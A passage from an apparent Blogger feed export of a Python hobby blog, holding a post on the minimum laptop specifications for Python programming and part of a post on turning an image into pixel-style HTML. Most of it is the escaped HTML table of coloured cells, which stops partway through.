src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEi9f9O_Ds3pHsl1Le3Mp-1UFdeOyAjn5j2xJJD7qADSYduDDP2v7fsZx8fqurvYeqNiDc2_wSYstkdeLz7BB7uUegKhK57L6A9q9cu_Xf7vaCWhV9R7gfGzUyWpyB2BJwDJ2sP35jvh_Pt78pY54krIjNFJAEhDokITZruTPrZZBk7Sh6P1C6MIG7pp&quot;/&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;Minimum specifications required for your laptop depends on what type of laptop you are using.&lt;br /&gt;If Python can run on a devices called Raspberry Pi then your laptop is far more eligible to run Python but depends on what version Python you plan to run.&lt;br /&gt;I did run Python on Windows XP and it worked like a charm.&lt;br /&gt;While installing latest python on Windows and you face issue. Just try installing one version less then what you were installing initially.&lt;br /&gt;After you install python you might have to create Environment variable to Run Python from CMD.&lt;br /&gt;&lt;br /&gt;If you plan to create heavy duty project in python then you might need more RAM, where applications needs to perform numerous calculations or tasks and also It requires faster processor.&lt;br /&gt;&lt;br /&gt;But for minimum requirement if you come under this category then you are good to go.&lt;/p&gt;&lt;br&gt;

&lt;style&gt;
table {
  width: 100%;
  text-align:center;
}
td {
  width: 33.33%;
  position: relative;
  text-align:center;
  border-radius: 25px;
  color:#202124;
  padding:2%;
}
td:before {
  content: &#39;&#39;;
  display: block;
  margin-top: 10%;
}

td:after {
  content: &#39;&#39;;
  display: block;
  margin-top: 10%;
}
&lt;/style&gt;
&lt;center&gt;
&lt;table&gt;
  &lt;tr&gt;
    &lt;td colspan=&quot;3&quot; style=&quot;background-color: gold; color:black;&quot;&gt;&lt;u&gt;Minimum Hardware requirements to run Python are as follows:-&lt;/u&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td colspan=&quot;3&quot; style=&quot;background-color: #F45326;&quot;&gt;1) Modern Operating System&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr style=&quot;height:200px&quot;&gt;
    &lt;td style=&quot;background-color: #82BC06;&quot;&gt;A] Windows 7 or 10&lt;/td&gt;
    &lt;td style=&quot;background-color: #05A6F1;&quot;&gt;B] Mac OS X 10.11 or higher, 64-bit&lt;/td&gt;
    &lt;td style=&quot;background-color: #FFBB08;&quot;&gt;C] Linux: RHEL 6/7, 64-bit (almost all libraries also work in Ubuntu)&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td colspan=&quot;3&quot; style=&quot;background-color: #DE4784;&quot;&gt;2) x86 64-bit CPU (Intel / AMD architecture)&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td colspan=&quot;3&quot; style=&quot;background-color: #5EBBDE;&quot;&gt;3) 4 GB RAM&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td colspan=&quot;3&quot; style=&quot;background-color: #7954A7;&quot;&gt;4) 5 GB free disk space&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;
&lt;/center&gt;

&lt;p&gt;Most users will find that any computer bought in recent years will meet (and usually exceed) these hardware requirements.&lt;br /&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/5405822354552187074/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/what-should-be-minimum-specifications.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/5405822354552187074'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/5405822354552187074'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2021/11/what-should-be-minimum-specifications.html' title='What should be the minimum specifications of my laptop for programming in Python?'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEi9f9O_Ds3pHsl1Le3Mp-1UFdeOyAjn5j2xJJD7qADSYduDDP2v7fsZx8fqurvYeqNiDc2_wSYstkdeLz7BB7uUegKhK57L6A9q9cu_Xf7vaCWhV9R7gfGzUyWpyB2BJwDJ2sP35jvh_Pt78pY54krIjNFJAEhDokITZruTPrZZBk7Sh6P1C6MIG7pp=s72-c" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-3134967563388403386</id><published>2021-11-13T09:32:00.004-08:00</published><updated>2021-11-14T13:55:18.089-08:00</updated><title type='text'>Pixel Style Image to HTML Convert in Python</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEh20B3HDlao9Oxmes1x_HVYeJZ8fqAZXlg54x_e7Mk-PKOcSz11PjES94ZyeygmJMOBfHu-jt3g2GpMrCOlbFs6Zjo6cKgKrDxlAmQp257jT3peuN84U0I4nHnVSA64S7YqCjNhgozQ-7HnorcQI3eNUOw5OPHO2Gd6MZHzkW64ylbSZDs4R3cTGIYw&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Convert Image to HTML using Python&quot; border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1024&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEh20B3HDlao9Oxmes1x_HVYeJZ8fqAZXlg54x_e7Mk-PKOcSz11PjES94ZyeygmJMOBfHu-jt3g2GpMrCOlbFs6Zjo6cKgKrDxlAmQp257jT3peuN84U0I4nHnVSA64S7YqCjNhgozQ-7HnorcQI3eNUOw5OPHO2Gd6MZHzkW64ylbSZDs4R3cTGIYw&quot;/&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;Hello Young Python buds,&lt;br /&gt;I hope you are all doing well.&lt;br /&gt;&lt;br /&gt;I apologize for not posting on my &lt;a href=&quot;https://www.youtube.com/c/python4fun&quot;&gt;youtube channel&lt;/a&gt; and &lt;a href=&quot;https://pysnakeblog.blogspot.com&quot;&gt;blog&lt;/a&gt; as I got tied up between some personal stuff which really got me busy.&lt;br /&gt;I do had some crazy projects under my sleeve that I was working on and I would share that with you all.&lt;br /&gt;&lt;br /&gt;What this Code does?&lt;br /&gt;This Code make Pixel Style Image to HTML Convert in Python. &lt;br /&gt;&lt;br /&gt;How it works?&lt;br /&gt;- Python will Convert the Image size to 50x50 new PNG image.&lt;br /&gt;- Python will then read the new PNG image pixel by pixel.&lt;br /&gt;- Saving the hex data as html file.&lt;br /&gt;&lt;br /&gt;Why 50x50 size?&lt;br /&gt;I tried with fill size, it just crashes my laptop if I open the html file. I tried with 100x100 as well but it was hard to post in a blog or send it as an html. But 50x50 size work properly.&lt;br /&gt;&lt;br /&gt;What kind of Image format works?&lt;br /&gt;All kind of Image format works i.e. jpg, png, gif, webp etc...&lt;br /&gt;&lt;br /&gt;How did I come by this Idea for this project?&lt;br /&gt;Well, by accident. While making &lt;a href=&quot;https://pysnakeblog.blogspot.com/2021/07/create-branded-qrcode-using-python.html&quot;&gt;this tutorial&lt;/a&gt; I noticed something. And that something was I could get the pixel colour of an image and also get it on a text file. But then I wondered what can I do with this hex colour data??? And then it clicked. I though what if I get the whole data of pixel on a text file or a CSV file. Only I had to figure out how to make it work. After I got it working I had to try making the hex data and get it into a html type data. And I tried with &quot;&amp;lt;div&amp;gt;&quot; it worked in html at first but then as I tried to email the same it would just disrupt the whole format.&lt;br /&gt;Then I tried something easier that was using &quot;&amp;lt;table&amp;gt;&quot;, &quot;&amp;lt;tr&amp;gt;&quot; and &quot;&amp;lt;td&amp;gt;&quot;.&lt;br /&gt;I had lot of bugs and errors to correct and finally I made it work.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
  
&lt;table style=&quot;border-spacing: 0px;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #607253; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #57734f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #57704b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b6f47; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a724c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #587451; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #59704a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #587046; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #58724a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #59724a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a7448; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #567044; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #546e44; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #526c43; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #536d46; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #587146; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #597145; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #567049; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #536d45; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5c7048; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #617548; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f754b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d744a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b734a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f774e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d764f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #567048; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #546f48; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a7346; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #566f42; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #546e40; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #587040; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #536c3d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #536a3c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #536a39; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #50683c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4e653c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c673e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c683f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a6841; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b6d47; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a6b47; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c6d46; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #486e4d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #486c49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d704f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4c6b4e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a6a4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #506f4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #566948; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #718057; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #717e50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #717c4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d7846; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e7945; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d7c4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b7846; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #697745; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c7a49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f7d4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c7c4d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b7a4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b7948; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #677645; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #677544; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #697744; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #687746; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #697a4a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b7a4a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #707745; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e7645; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d7944; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #697749; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #67784d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c7d4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c7d4f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #687c50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #657c51; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6a7c4d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c7a46; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b7c49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #687a49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #697a46; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #677746; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #667445; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #667545; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #677847; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #697946; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #687746; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #687849; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #657648; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #647649; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6a7b50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6a7b4f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c7c4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d7f53; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e7f51; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c8057; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f8359; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #68764c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #77804e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b844e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #748251; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #74814d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #75824c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #727e4a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #717c49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f7d4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #737f4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #737d49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #717b48; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f7b4a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b7747; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b7646; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e7744; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e7944; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d7a48; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #707c48; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #727e4a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #737b48; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #737a43; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #777e45; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #74804c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #727e4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #73804e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #727f4f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f7d4d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f7c4d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #707b4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #707d4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #72814f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #718150; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #748350; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #747f4c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #737e4d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #707c4d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #737c47; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #747e4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #747e4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #747d4a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
